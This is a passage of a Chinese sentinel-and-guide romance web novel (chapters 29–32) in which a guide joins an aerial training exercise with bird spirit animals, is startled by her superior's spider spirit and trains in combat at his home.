哪来的鸭子?不,是游隼!她低头看向夏广礼怀中的精神体,笑着把它抱到怀里,猛禽多是嘤嘤怪,声音和外形反差太大了。 十字路口,望着大巴车消失。 山昊也驾车离开,他坐在主驾驶位,意外地在看见两位熟人,猫科联队的队长阿瑞斯,和犬队的“老队长”曼努埃尔。 他两能凑到一块,属实让人意外。两队素来不和,连带着底下的哨兵也互相敌视,如此“不计前嫌,”看来是有更要紧的事。 可惜他们要等的人已经被别人接走了,先来后到从来都是如此重要。 第29章 乘车上山,道路平坦,视线开阔,转弯时,窗外就是山坡,让人心悸。半山腰,对岸有瀑布,下方淌着一条清澈的河流。 最后的路要步行,石壁之间有条窄道,走出狭口,左侧枝叶茂盛,投下碎影。 解逸飞打前,游隼站在右肩,她的左手被夏广礼握住,身后跟着其他哨兵。精神体被放出来,惊起群鸟,飞离此处。 精神体种类繁多,不仅有各类猛禽,还有被誉为“雀中猛禽”、“屠夫鸟”的带刺植物推广大使——棕背伯劳。 它们站到树梢,侧头注视,每过一阵,就展开翅膀,跃到另一棵树巅,仿佛在为他们保驾护航。 伯劳占了好位置,离她直线距离更近,就有别的鸟,从上分落下,爪子伸出,欲要落在邻近处,它拍打翅膀,用尖喙驱赶,可惜体型不够大,无法独占这根树枝,邻居不为所动。 左侧是长尾的喜鹊,身体修长,除去肩羽和腹部杂白,其余部位发黑,闪烁着蓝绿色金属光泽。右侧是乌鸦,明显大过它们一头,通体乌黑,叫声低沉嘶哑。 鸟类搏斗让树梢摇晃,这是场不公平的对决,二者一同攻击霸道、勇猛的伯劳,它只能扇翅上跳,但它并不畏惧,三鸟混战开始。 她驻足观望,让夏广礼也跟着停脚。 昆虫们赶来,还没靠近,先被游隼发现了。她肩上一沉,随后疾风扇耳,转头见它飞向前,悬在空中,不断鸣叫驱赶靠近的精神体,对方视若无睹。 横纹毛腿下,黄色的脚端,锐利黑爪张开,就要向它们冲去。夏广礼忙将精神体收了回去,无意造成两队冲突。 连徐珊珊都吓了一跳,幸好最后终止了,看来有时精神体也会有自己的脾气。 蜜蜂身体圆润,胡蜂体型更大,鸟翼凤蝶的羽翼有她巴掌大,但往她飞的过程中逐渐缩水,翼膜上渲染着斑斓的蓝绿色,从黑色斑条过渡,有游弋变换的金属光泽。 她能认出来的,还有锹甲和兜虫,两食素战神,前者横向长着两只粗壮的大鳌,后者竖向长着头角和胸角。起飞时,鞘翅举起,藏在下方的折叠后翅展开,快速振动飞向空中。 它们靠近时声音不小,夏广礼用手挡着,蝴蝶和蜜蜂就算了,那只巨扁锹虫也往她身上凑是什么意思?它难道不知道自己足间长齿,力大得能勾进肉里。 这么多树都不够它爬了,非要往向导身上落?又看见安静隐匿在树梢间的猛禽,还算老实。 夏广礼:“解队,你的队员真有活力。” 他挥手甩开那些虫子,解逸飞驻足转身,听语气就知道不对,等到二人,让开位置,自己殿后。 解逸飞制止 了一些人试图靠近的行为,至少现在还不行。 面对蜜蜂、蝴蝶环绕的场面,她很高兴,这些小精灵距她不近不远,翅膀闪耀亮眼,伸手让它们停在指尖,一定有更大的用途。 抵达山顶,一片上倾草地,往下看,房屋渺小,道路迷你,像沙盘模型。腰被揽住,双手紧握,她才敢从边缘往下看,刻进基因的恐高,内心恐慌。 准备时间,她坐在躺椅上,见它们展示才艺,悠扬婉转的歌声、绚丽羽毛、复杂的求偶舞……她对每一只靠近的小鸟放彩虹屁,甚至还有兴致玩“击毙”游戏。 训练正式开始。游隼从崖边跃出,盘旋升高,然后收缩翅膀,腿收平,向下俯冲,速度极快。下方的鸟发现后,灵敏地扭转身体,将腹部朝上,朝上伸爪防卫。 高空盘着数只鸟,平飞时还能看清,视线跟随着飞行轨迹,不久就有落败的选手,头朝下地栽下去。 陌生男人悄然靠近,好像是一队的队员,不太熟。他俯下身,鼻梁高挺,一侧眉顶落下灰色直发,角雕停在肩膀,弯喙向下,侧面纯白,羽毛层层叠叠,头冠向后伸。 “想和我玩个游戏吗?” “什么游戏?”她仰起头,看向那只猛禽,对方转头,她震住了,这正脸,将帅气两字咽了回去。 谢攀:“跟我来。” 游隼在高空盘旋,解逸飞见两人要一块,不太放心,也唤出精神体,两人来到崖边,丹顶鹤先飞起来,悬在空中。 两人并排站着,角雕跳到地面,然后离开山顶,张开翅膀,翼展超两米,往远处飞,在飞行的过程中逐渐增大体型,身体侧倾,调整尾羽,转了个弯,朝她而来。 她紧张地想抓男人的手,他却松开了,她惊讶地看着巨大的角雕朝自己冲来,脊背一凉,粗长锋利的爪子张开,落下一片阴影。 她的腰部一紧,整个人就已经悬在空中,皮质马甲勒腰,她当时不明白为什么,直到现在,才知道是为了给钩爪提供落脚点,防止穿刺伤。 从最初的惶恐,到逐渐放松,和在鸟背上的感觉不同,受力点全部在后背,面部朝下。她可以扒腿直立,但比起这个,更想张开手脚,比成“大”字形,大叫宣泄压力,她也的确这么做了。 角雕低下头观察,见她不惊恐,向上攀升到一定高度后,松开了爪子,停止扇动翅膀。 下落让她很兴奋,随着速度越来越快,逐渐有些恐慌,后背支点消失,她转头向后看,才发现角雕的粗大爪子离自己越来越远,这次是货真价实的尖叫了。 “啊啊啊!!!” 从一片云雾中坠落,掉在了瓷实的背部,她甚至弹了弹,差点顺着脊背再次翻滚下去,因为恐惧,下意识地抓紧了背部的羽毛,还扯掉几根,丹顶鹤被扯痛了,却没叫出声,它翅膀宽阔,只是平稳的往下滑翔,甚少扇动。 吓死她了,她缓过神后,仰面朝天,手指挡在面前,透过指缝看见角雕越来越大,还朝自己来,忍不住提醒:“队长,他来了!” 她翻过身,往上爬,直到搂住肩部,能从上方卡住,这样在大角度倾角也不至于抓不住,掉下去。 它越来越近了,速度也更快,巨大的爪子离她仅一米之远,但一道疾风从斜上方飞来,她甚至没看清,只见到羽毛扑腾,角雕翻转了身体,经受冲击,好似没受多大的伤。 他们不是孤军奋战,鸟群汇聚在丹顶鹤身后,呈现人字型。它引发了众怒被围攻,尖爪、利喙,无法近身的就扰乱气流,干扰飞行。 她可以说暂时逃脱了危险。 角雕并不甘心,被你一嘴我一脚的攻击,鸟群之中,它逐渐下重手,爪子勾进体内,没逃开的受了伤,直直下坠。 山顶上,有人闷哼一声,捂着胸口倒下,解逸飞走上前,拉住灰发男人,“够了,这只是训练。” “我知道,解队,这是训练。”他将胳膊抽出来,“那又如何?只要他们别妨碍我,我自然不会伤害他们,你也一样。” 解逸飞:“你这样做太危险了,会吓到她。” 谢攀:“我不这么认为。如果你们别插手,早就结束了。”他打定主意向对方展示自己的飞行技巧,被人干扰,也不介意展露实力。 游隼一次俯冲袭击不成,又慢慢攀升高空,寻找下一次机会。 角雕靠近了,只是一番折腾,不像最初那样,充满力气,她看着那双爪子,充满绝望,知道对方今天是牟足了劲,相让自己体验自由落体。 高空抛物是犯法的,抛人也是!她觉得这只鸟需要好好地教育一下。 它没有恶意,否则爪子直接把她给捅穿了,只是不明白这恶趣味,但其实只要放轻松,还是没那么吓人,因为她知道,他们最后会接住她。 它可能是想玩自由落体,然后在坠毁前接住,一同减速,最后触底前反转飞行方向的游戏。 徐珊珊:“我还是自己下去吧。” “解队,你们这飞行训练太吓人了,我下次不来了。” 察觉到她准备松手,耳麦里传来夏广礼的声音,“珊珊,别闹,抓紧它。” “你能接住我吗?”她的头伏在羽毛间,感受到风吹乱头发,听到对面传来肯定答复,就松开了手,丹顶鹤还想逆倾身体,让她别掉落,但架不住一个人铁了心想自由落体。 四十五度朝下坠,最初还感受到尾羽的扇动,纤长黑腿离自己越来越远,跟蹦极一样刺激,风从下方往上吹。 远山升高,山坡、草地、瀑布落入眼中,这证明她的高度已经足够低,就这样头朝下,张开手,什么东西从后方穿来,身体一震,顶着胸膛,她知道自己安全着陆了,睁眼望去,疑惑涌上心头。 这谁呀?她小心翼翼地趴在背上,全身是暗棕色羽毛,颈后为金色,怎么感觉不太熟?没在队里见过。 急速掠过的游隼击中了角雕,它的翅膀不受控,逐渐掉下来,而她则上升。身下的巨兽还不满意,它往那只灰色角雕冲去,一个抖动,她知道抓住了,角雕还在爪子下挣扎。 她往上爬,低头看见它不停挣扎,肩部被扣出洞,厉声嚎叫。 但它毫无所动,明亮锐利的眼睛看过来,拥有巨长的黄色的下弯尖喙,这是一只金雕。 “是达伦队长,你就在他背上,不要乱动。” 果然是陌生人,她又听见噗嗤一声,是爪子穿进肉中的声音,饶是她也为那人捏了一把汗,两人确在游戏,但对方教训队员,她也不好插嘴。 盘旋一圈后,稳落山顶,金雕松开爪子,奄奄一息的角雕侧躺在草地,瞬膜覆盖眼睛,半天回不了神。 氛围远不如来时和谐,虽然还有音乐、鸟鸣,但许多人受伤地躺在一旁休息,其中就包括那位声称要和她“玩玩”的哨兵。 很明显金雕的主人并不在此处,当它落地时,就没有空中那么潇洒了,沉重的爪子让它行走的姿势有些滑稽,一眼看见躺着的谢攀。 达伦知道他向来好斗、凶狠,仗着自己体格粗大,但没想到自己离开的时候,敢这样肆意妄为,违逆副队的命令,这不是一位合格哨兵的所作所为。 和人同高的金雕站在他面前,脚掌放在男人的胸口,对方奄奄一息,被锐利的双眼紧盯着,还得识时务地认错、道歉:“队长,我错了。” “呃!” 她视线一黑,被人捂住眼睛,搂在怀里,于此同时,惨叫声响起,不满地扒手指,扯不动,等她再睁眼时,那人已经被抬走了,缠上绷带,地上泼血,仍然触目惊心。 回程路上,受伤的哨兵被转移到救护车,送往救治中心,此起彼伏的低嚎,虽然不响,却给人一种精神折磨。 大巴车里,夏广礼仍然坐在她身旁,揽住她的肩膀,两人紧紧相靠。路边站着一位陌生男人,他登上车,越过她,往里看,解逸飞起身,打招呼:“达伦队长。” 达伦:“你好。”他将视线转过来,“这就是徐珊珊向导?” 她刚想站起来,被夏广礼按住手,于是回正身体,靠在椅背上,仰头望着,“你好。” 夏广礼站起来:“队长,我们邀请向导小姐一起参加飞行训练。” “嗯。”男人的目光在夏广礼身上停留了好一会儿,才平淡应下,坐在第一排内侧。三座山一样的身躯坐下,她才真正的放松下来,嘴角悄然落下。 他们本打算先送她回白塔。 但徐珊珊决定不回白塔,她给长官打了个电话,打算周末继续打扰他,总觉得,有点留下阴影了,还是长官那儿更有安全感。 夏广礼:“你在空中惊慌失措的样子,很可爱。” 她直接恼羞成怒地抽出手,去捏男人的脸颊,往下拉:“你还好意思说?” “差点吓死我。” 她松手的时候,皮肉弹回脸上,一片通红,男人重新握住她的手,安抚似的轻拍,“别担心,这都很常见,他们会没事的,这点小伤不算什么。” “嗯。”她的声音很轻,流露出此时低落的心情,送进医院也太严重了,听了这话,稍微放下心。 第30章 大巴像泥头车一样从黑夜里窜出来,车头灯照亮中央分隔线,驾驶员踩下刹车,轮胎与地面摩擦,乘客身体前倾,抵达目的地。 车门开启,车厢灯亮起,男人起身让位,她站起来,解逸飞和达伦都在马路边观望,大巴车尾的红色示廓灯、闪光灯和后位灯都开启。 “小心脚下。”夏广礼牵着她的手,两人下车,送到门边,她将手抽出,转身和他们道别,天一黑,他们的模样看得就不清晰。 房门合拢,男人们才逐个往回走,她趴在窗户边看,见车背慢慢离开,重归黑暗。 光脑上传来消息:【我很晚才回来,不用等我,早点睡。】 长官又要加班,虽然才是第二次来,她一点也没有客人的拘束,直走向二楼卧室,推门进去时,机器人正在更换床单被套。她简单地洗洗睡了。 凌晨一点。 山昊踩着月光踏进院子,整栋房屋还留着一盏小夜灯,光从二楼的窗户里透出来,窗帘没有合拢,隐约可以看到里面裹紧的毛毯。 一只飞蛾被光源吸引,扑在玻璃上,但窗户封紧,哪怕是留有空隙的地方,也布上了纱网,它分不清自然平行光和人造点光的区别,以为有月亮作为参照物就可以万无一失。 门开后,一盏盏灯此地亮起,室内陈设映入眼帘,又仿佛有数个重合的画面叠在视野中,她躺在沙发上,从餐桌的这头走到那头,脚踝交叉地坐在椅子上,倚靠在墙边低头。 山昊将红色锦旗放在桌上,走到卧室前,在门边探头,看了一眼,四处观察,没有问题,回到书房继续办公。 她的来访超出他预料。 男人取出沉重的方盒,输入密码,展开后,是两份密封的档案袋,解开系绳,视线聚焦于纸张上的文字,这是安放污染物、下毒事件的罪犯资料。 多名哨兵和一位向导,很容易还原作案过程,但无法理解动机,他们没有理由这么做,风险极大,且注定失败,是什么蛊惑了他们,犯下这样的罪? 连续熬夜,他身体疲倦,思绪也慢半拍,摘下眼镜,揉压晴明穴,松开紫色领带,将它挂进衣柜,解开衬衫纽扣,换衣服躺上床。 夜深人静,没有新消息,但他睡不着,隐患挑战着他的神经,任何暗地里的危险都无法接受,索性坐起来,草拟了一份安全预案。 他有意让她和别的哨兵接触,特别是值得信任的队伍,但当事情真如他所愿的发生,又莫名不适,难以忍受她的目光为他人停驻。 无论谁怎么想,时间都会流逝,太阳照样升起。 光线撒进室内,刺耳叫声轰得头震,他睁开眼,窗框被铺上金色。破天荒的,没有被生物钟唤醒,甚至错过了闹钟。 半睡半醒时听得模糊,又一道女声传来,耳尖微动,他听清了,在呼唤他,掀开被子就往外跑。 “长官!” “长官!” 徐珊珊缩在床根,两脚踮着,手中抱着枕头,用一角对着沿着床单往上爬的小毒物,一只蜘蛛,它比排球还大。 她刚睁开眼的时候,发现自己不知不觉变成趴伏的姿势,换了个姿势,背对着窗口,想再睡一会儿。然后她撞见,两根尖棍一样细长步足探在空中,关节发红,边缘还附有刚毛,中间两只螯肢往里伸动。 凉意透心,她一下子清醒了,身体爆发出强大的力量,脚往前蹬,人往后蹿,床单滑动,枕头飞落,那蜘蛛抓力也牢,跟着落到床沿,往下掉时还会嗦丝。 她下意识地抄起手边能拿到的东西,却发现没什么趁手的,太短了,它颜色那么鲜艳,配上这体型,比老鼠更恐怖。她瑟瑟发抖地抱住另一个枕头,想着它要是靠近就摁下去憋死它。 蜘蛛每次靠近,她就拿枕头抖落床单,直到大半边床垫都露出来,但它还是乐此不疲地往这里爬,她害怕得不行,看向房门,下一秒直接扔了枕头,奔向门口。 门锁,两道门锁,早知道不锁门了,不知道到底是防住了谁,她着急忙慌地一边开锁,越是心急越是手忙脚乱,抖着手,往回看,它不往床上爬了,又调转方向往她这来。 她这才想起,房子里还有另一个人,扯着嗓子开始喊:“长官!” “长官,你在吗?!” 越来越近,终于将门栓取下来,她也越叫越大声,还幻想着,可能是自己又被小蘑菇误伤了,直到脚趾传来真实的触感,门把手拧开,重重地将门拉开,往外扑出去,一下子弹了两米远,远超跳远记录,像个青蛙一样趴在地上,不敢往后看,手脚并用地往楼梯跑。 男人从门里出来,身上穿着家居服。她刚要滑下楼梯,就被抱住了腰,还以为被抓住了,又发出一声尖叫,但触感不对,直到听到叹息声,才卡壳似的转回头。 “长官,”她小声问候,对方眼底发青,有些凹陷,一副长期熬夜的样子,手撑在肉感大腿上,想要钻出来。 “别动。” “好,”好像有什么地方不对劲,但这不重要,她极快地忽略了两人的肢体接触,转而回头看,指着卧室:“有只好大的蜘蛛,毒蜘蛛,你看见了吗?” 她不确定自己是不是又被精神体祸害,语气不太有把握。 话刚说完,蜘蛛就从门口爬出来,女人瞳孔放大,汗毛竖立,手和脚都挣扎起来,在怀里很不老实。 “那是我的精神体。” “啊,你的精神体?” 她重复这句话,突然意识到其内涵,顿时放松,手脚垂软,“你为什么要让它进我房间?” 山昊:“这是我的住处。”也是他的领地,但从未见过它私自跑出来。 “它趁我熟睡,松懈的时候偷跑出来。吓到你了,我很抱歉,你可以和我提补偿。” 她一直扭头,脖子有点酸,总是这么个姿势也不是办法,“不用了,长官,你能先把我放下来吗?” “好。” 男人卸力,她才一手撑着楼梯把手,一手抓着腰,将自己调整成直立站姿。 “那我刚刚,你都看见了?” 山昊:“嗯,你跳的很远,应该能拿良好。” 现在是关注这个的时候吗? “好吧 ,”她回头看了一眼,出于刻在基因里的恐惧,没敢像对其他精神体一样上手摸,装作若无其事的样子,走下楼梯。 “你不喜欢蜘蛛?” 男人的话让她停下脚步,它停在一双拖鞋旁,与外露的脚趾近在咫尺,乖巧地歪头,看着她,两队螯肢上下舞动,不知道想表达什么意思。 精神体从某种程度上和本人相连,她轻咳了一声,“没有,我是有点饿了。” 她转手就把小蘑菇给叫醒了,前天它从解逸飞队长那里好好地吃了一顿,导致昨天干活都没力气,到现在才恢复大半。 白粉色的伞盖上还留有墨点,养菌前日,用菌一时,小蘑菇,上! 它被放在瓷砖上,还在发呆,另一边的黑寡妇蜘蛛已经在结网了。死道友不死贫道,“你们玩,我去弄点吃的。”说完,徐珊珊就毫无愧疚地溜了。 走下楼梯,再往上看,它浑身已经被裹上了蛛丝,蜘蛛的腹尾喷丝,第四对足舞得飞快,很快,白色线团里只露出一个尖,小蘑菇终于反应过来了,想跳出来,很可惜,太黏了。 长官好像全神贯注地盯着两精神体,就像观察某种实验现象。她没什么感觉,对方应该没使用毒腺。有他看着应该没事,手握成拳,她暂时没有勇气去摸一只毒蜘蛛。 来到客厅,她被桌子上的浓郁色彩吸引了,正红色绸缎下有金色流苏,这是什么?她好奇地走近,提起来,翻到正面,金灿灿的四个字:白塔之光。 嚯,领导的锦旗,她认同这个表彰,但绝不效仿,正准备将它放下,却听见后方传来男声:“这是别人送你的。” “啊?”首先是疑惑,手中的布料一下子变得沉甸甸,她扬起嘴角,嘴里却说:“怎么可能,我又没干什么。” “谁送的?” 山昊:“你治疗过的鳄队哨兵,为了感谢你,帮他分解污染。” 她记起来了,没想到对方看起来反应很慢,却这样贴心,“这是个好小伙,你看,其他人都没送,就他送了。” 山昊从“盘丝洞”走下来,鞋边染上蛛丝,需要用力抬脚,见她满脸雀跃,打算不告诉她真相。 虽然她提前说明,但大部分人,仍会把这行为视作某种暗示,只是碍于某种原因,不能明说。他们坚信这是爱情萌芽,只是其中有阻碍。 只有这位哨兵认为她的意思就是字面意思,觉得她舍己为人,很了不起。这其中有很大的误会,虽然从结果上来说是好的。 山昊:“没有武器的情况下,逃跑是对的,你的精神体能够致幻,你可以趁机跑。” “嗯。”她记下了,看在丝网里被裹得水泄不通的精神体,她很怀疑它发现后,跑得会比她还快。 “昨天你们考核?” 提及考核,她将爱不释手的锦旗放下,语气低落:“我跑了最后一名,不及格。” 山昊:“你在塔内很安全,出行都有人保护,不会有逃跑的时候,何必在意跑多快?” 她摇了摇头:“万一他们不在呢?” “就像今天早上,万一你不在,房子里又进其他蜘蛛,或者别的虫子、坏人。” 山昊:“那就别让意外发生。” 听长官原来这么想,她眸光一暗,简单解释:“我不想做最后一名。”她说完就转身往厨房走去,没看见背后男人欣慰的笑容。 “那你要做好准备了,结营的时候,还会有一场考核,不仅是身体素质,还有实战对抗。” “除去真人对战,你还需要亲手消灭一只污染物。” 30-40 第31章 她很快接受了这个安排。 虽然上辈子连一条鱼都没杀过,但这里,每个人都要有战士的基本素养,她总会出塔的。 他们也算是用心良苦,传授各种生存技能。 徐珊珊打开燃气灶,锅中倒水,开始加热。 冰箱开启,寒气外冒,冷冻室,整齐码放着相同大小的保鲜盒,贴有各色标签,好奇地抽出来,开盖时还使了点劲,里面全是白面包子,顶部捏有褶皱。 本打算找鸡蛋、青菜,配面吃,无意中找错了地方,索性吃速冻包子,正要将盒子取出,传来男声。 “点餐让人送来吧,家里没什么菜了。” 男人站在门边,露出半身,似乎只是提议,她犹豫了一下,翻开另一个柜门,猪肉、猪皮冻、葱姜蒜…… 储物柜中多出一根擀面杖,看来他最近迷上了面食。合拢柜门,将保鲜盒从冰格里取出来,“这儿有包子。” “它们的味道可能还不够。”还有进步空间。 “没关系。” 标签的上面标着日期,近几天的,“不用点外卖了,我就蒸点包子吃。”它们被分隔开,没有冻成一团,取出一盒,放上蒸笼。 “你要吃吗?” “……嗯。” 她又多取了几份,放上电蒸锅,哨兵的胃通向异次元,和蟒蛇一样能吞。 电器上有贴纸,时间、火候都标注好,时间上有一道划线,人为改了数字,应该是从实践中吸取了经验。 长官走进厨房,熟练地取材、清洗、切碎,调配了两种蘸水。身影忙碌,似乎还要做点别的。 玻璃盖内汇聚水珠,肉香逐渐从出气口散出,蒸笼里,小笼包底部,汤汁将薄皮撑圆,另一处放置的是实心肉包。 她视线朝外,发现什么东西从二楼栏杆处落下来,仔细一看是蜘蛛,它一边喷蛛丝一边往下降,自由地控制自己的速度。 没看错的话,小蘑菇被裹起来悬在头顶,两个一起缓慢落地。 蜘蛛用口器咬开紧黏在一块的蛛丝,将它放出来。即使没有蛛丝的束缚,它也并未逃跑,反而活跃地蹭来蹭去。 接下来的一幕更让她惊讶。 蜘蛛沿着蛛丝往上爬,不断从腹部末端的纺器中喷出新丝,而小蘑菇就跟在后面,因为有些黏脚,就慢一些。 它也想往上伸展菌丝,但毕竟是自身的一部分,不能喷到三米高,最后还是收回来。 “叮——” 加热结束,她帮忙端盘子,放在桌面,她先垂涎的那盘,被男人挪至面前。筷子搭配汤勺舀起来,先是咬破皮,吸入汤汁,最后才蘸酱汁吃。 徐珊珊:“这个好吃,你也吃。” 男人摆手推拒:“这是请教了一个师傅,他教我的。”接着阐述要诀,关于原料、步骤中的细节。 她也没客气,全吃完了,筷子又伸向生煎包,男人却突然抬头,“它没揉透,口感不太好。”这是刚开始做时的成品。 她不太在意,夹起来吃了一筷子,不太松软,味道也还行,油煎焦底和软面团,一脆一软丰富的口感,芝麻增添香味,汤汁鲜嫩。 “这是你做的?” “对。” 徐珊珊:“比以前我在学校里吃得好。” 饭后是闲暇时光,吃饱喝足,打开电视,新闻报道,换台到娱乐频道。 男人回到书房接电话,房门合拢。 室内安静下来,风穿过窗户吹动纱帘,两个精神体也闹腾够了,相继爬上沙发,蹲在一块看电视,竟也十分和谐。 屏幕里的建筑模仿白塔,主演们穿着的制服也相似。看向右下角——《哨兵突击》第二十九集,名字像战争片。 但过了许久,也没出现战斗场景,视角推到静音室里。 “这不是什么你说来就来,说走就走的地方。”女主喊男演员坐下,他们前一幕还爆发了矛盾,激烈争吵。 下一秒,视角推进,放大俊美脸庞,那位哨兵的表情挣扎,痛苦地问:“你想干什么?” 女主:“记住,没有我的允许,不准离开!” “哈哈哈~” 徐珊珊忍不住笑出声,随着剧情一点点推进,她发现这是一部爱情剧,上网搜了一下,评分挺高。 剧情经典,霸道向导爱上我,还是追夫火葬场,该剧一度拿了收视冠军,收获满满好评。剧组还筹划着拍第二部。 她见小蘑菇也兴奋劲上来,主动逼近蜘蛛,那家伙也配合,缩到沙发一角。它逐渐抬起菌丝,挡住视野 ,伞柄一摇一摇,然后蜘蛛将整个腹板露出来,倒在沙发上。 精神体之间有它们的交流方式,既然对她没影响,她决定不打扰。但收到扰乱的另有其人。 山昊:“怎么了?” 男人走出房间,见她一脸傻乐地看着两精神体玩闹,旁边还传来响亮的影视剧原声:“你得了我的人,得不到我的心!” 仿佛有三个感叹号落在他脑袋上,见长官过来,她以为是声音太大,影响了他办公,就调小音量,“我在看电视,长官。” “这部剧是由塔外导演拍摄,剧情不符合逻辑,也偏离现实。它是为了满足民众对白塔、哨向关系的想象,也满足了哨兵们的感情需求。” 她点了点头,当然知道电视剧都是人拍出来,为了娱乐,全是假的。 “不要把它带入现实。” 原来是怕她重蹈覆辙,放心吧,她举起右手,比了个OK。 两人坐在一块,男人的手轻敲茶几,蜘蛛从下方露出头,移动着八条腿,走到沙发边,然后往前一跃就到了桌面,然后织出一张网,用两对前肢罩着,小蘑菇也跟着跳过去,被接住了。 它们的亲密互动,自然而然的接抛游戏,让在场的两人略感尴尬。 徐珊珊:“咳,别闹了。” “过来。”在主人的命令下,蜘蛛的脚尖踩在玻璃表面,往另一边走去,见自己的精神体还要跟,用手摁住它,不管底下的抗议,“老实点。” 两只精神体分开,男人看向小蘑菇,把它看得都不挣扎,反而往手里钻了。 山昊:“可以尝试对它下达攻击指令。” 徐珊珊圈住精神体,“它吗?” 这个家伙,只对她有攻击性。连在课上,和别人的精神体打闹时都是战五渣,被拱翻地上,滚来滚去,还伸手要她帮忙站起来。 “对,上次它让你产生幻觉,我想看看它的能力究竟有多强。” “好,”她松开手,目光在小蜘蛛和男人之间移动,“攻击它还是攻击你?” 其实区别不大,精神体受伤也会反过来影响本体,但他担心它会做出过激的反应,还是摊开手,“来我这里吧。” 拎着小蘑菇放在男人手上,手掌处感受到纹路和硬质茧,以前训练留下的痕迹,触感干爽。 男人的手指摊开,掌面够宽,能让它稳稳地站在中间。 山昊:“可以了。” 徐珊珊下达了攻击指令,又怕它下手太重,补了一句:“别太用力。” 她小心地观察着男人的变化,发现他眼珠转动,仿佛注视着某处,视线失焦。 接着看向黑体蜘蛛,它的腹部艳红,比头大得多,连带着腿上下摆动,似乎有些不安,想要躲远。 山昊的眼前出现了别的画面,如同置身别处,身高缩水、视线降低、肢体变短粗。熟悉的房子,禁闭的房门背面有一丝裂痕。 孩童撕心裂肺的哭喊声从窗外传来,伴随着邻人父母的咒骂声。 他跪在露台,等着月亮升起,从傍晚到深夜,直到那道身影推开门,山一样的身躯,门板撼动,他们站在一旁讨论,而后平淡地离开,坐着吃饭。 他试图拼凑出父母满意的模样,但总是失望的叹息声,以及随之而来的惩罚。 冬天雪地的寒冷,直到整个人失去知觉。 几秒内,男人回过神,“这个技能很不错,可以为你争取宝贵的时间,在防御、进攻、逃跑时都能发挥作用。” 有时候一秒就能定生死,但如何近身成了一个问题。 “它可以短暂蒙蔽别人的视线,混淆五感,产生恐惧的幻象,无法察觉你的存在。” 听了这话,她大概理解了,近战脆皮法师,最容易暴毙的一集。至于近身,也许需要她来做诱饵,让它偷袭,敏捷就很重要了。 山昊:“具体应用,你可以下去好好琢磨一下,不仅在战斗,还有其他方面。” 男人站起身,“跟我来,我为你准备了训练对象。” 接下来的两小时,她在指导下,成功击毙了三只实验鼠,个头不小。 原来是早就买好,在这儿等着她。 无论是她还是小蘑菇,第一次做这件事都不太顺手,看到僵硬的尸体还有些反胃。 甚至因为不熟练,小鼠被激得满地乱窜,一下跃到桌子上,还要蜘蛛控制住,反复好几次,直到它精疲力尽,才能一击即中。 男人亲自向她示范,应该猛击哪个部位,才能一击毙命。 逐渐习惯,就没那么恐惧了,小蘑菇能把握好剂量,什么程度能够让猎物产生恐惧,畏缩躲在角落,而不至于崩溃逃窜。 每一次都是它下毒,她手起刀落。 做完这个,她是心累体乏,躺回沙发上,看了好一会儿电视剧才缓过来,任由人声轰击大脑。 突然湿漉漉的东西在脸上爬,她惊得后退,是一张沾水的面巾。长官可能是看她被吓出冷汗,给她擦一下,她伸出手,自己接过来,擦了擦脸。 “它们本来就要被处死的。”他这样安慰。 她耗费了许多能量,一觉睡到了下午,睁眼时看见桌上的水果拼盘,竟然也幻视成了鼠头的样子,晃了晃头,才发现只是形状相近。 她站起身,环顾客厅,电视关了,没有小蜘蛛的影子,连楼梯上的蛛网也消失的一干二净,就仿佛从未存在过。 她略感紧张,四处寻人,书房门半敞着,轻敲三下,听到里面的回应,推开门。 男人摘下眼镜,鼻梁上留下鼻托的印子,手中握着一个锥形瓶,“你醒了。” 徐珊珊:“我看你没在。” “我在滴眼药水,可以帮我个忙吗?” “可以。” 她点头答应,男人于是坐在办公椅上,椅脚滚轮转动,上身贴近桌面,仰起头。 她靠在桌边,捏着软瓶,一只手扒开下眼睑,另一只手挤压瓶身。 液体在瓶口汇聚成水滴形,落到下结膜囊,还有的溢出来,落到眼下,她松开手,眼睛闭合,眼球左右转动,她伸手将从眼睑流下的药水擦干,紧接着给另一边上。 他闭上眼睛休息,一直到光脑发出提示音,才睁开眼看去,并不顾及她在一旁看着,没有躲闪、遮挡。 她也因此看见男人给卡尔发过的消息,还有他的置顶标注,如果没看错,她是第一个联系人。 山昊看完群消息,进行回复后,抬头说:“我送你回去,顺便在路上吃个饭。” “好。” 第32章 活动室。 皮头撞击主球的右中击点,黑球侧旋,落入袋中,通过滑道归位,桌面仅剩深绿桌布。南希起身,摊开双手,“结束了。” 对手却有些不服气,掌根离开桌缘,“差一点。” 南希帮他补充输球的借口:“杆开裂、球太滑、球台陡……” 对方摊开手,表示愿赌服输。 门扇开启,铰链处发出“嘎吱嘎吱”的声音,硬质鞋底踩踏地面。 男人将球杆放在桌面,重新摆球。 南希转身,看见一个失魂落魄的年轻人,他是自己的下属,也是自己的堂亲。 卡尔:“队长,可以和你聊两句吗?” 南希将球杆放回架上,“下次再打。” 两人离开活动室,拎着能量饮料,找休闲座椅坐下。她递出一瓶给对面的人。 “谢谢。” 男人垂视着瓶身,睫毛长且密,在眼尾落下阴影,手指修长,骨节分明,青筋爬在掌背,浑然天成的美。 南希:“说说吧,什么事?” 她拧开瓶盖,灌了一口,在嘴里弹跳,爽得眯起眼睛,面对男人的沉默,她并不在意。 南希:“这周,你给祖母通过话了吗?” 男人点头,她看向远处,绿植爬上围栏,开出小花,“明早是例行检查,你带队,要特别注意向导住处。” “另外,检测没有危险的物品,也按照原样运回去,按名单领取。” “是,队长。” 工作上的事说完了,接下来是生活,“说起向导,今天怎么不去接人?” 被说中心事,他感到嘴唇干涩,抬头喝了一口,唇瓣像覆 上了一层水膜,晶莹剔透的,“有别人送她。” 瓶底落到桌面,压缩又弹起,折射出七彩光斑,但却无人欣赏。 她顿时了然,有些恨铁不成钢道:“你要好好珍惜。” 卡尔:“嗯。” 南希:“她是不是在外面有人了?”嘴角放松,眨眼频率减少,回忆起她的样子,和网上说的一样美好。 她喝了一口饮料,却似饮了酒,语气微醺,“他们会里三层外三层地把她裹个水泄不通,也难怪。” 眼见她想歪了,卡尔打断,“没有,她只标记了我,”说这话时,嘴角轻扬,“只是和别的哨兵走得比较近,特别是空战组和她的上级。” 南希:“也正常。” 上下掂量自己堂弟的样貌,虽然目前不受宠,感觉还有救,安慰道:“日久天长,人又不会跑,你慢慢来。” 卡尔:“她要参加这次演习,和空战组的人一起。” 南希:“名单已经交上去了?” 得到肯定的答复,不太妙的信号,她接着劝导:“这说明她重感情、念旧情,虽然对象多了点。 “我看她很坦诚,体谅人,性格忠实。” 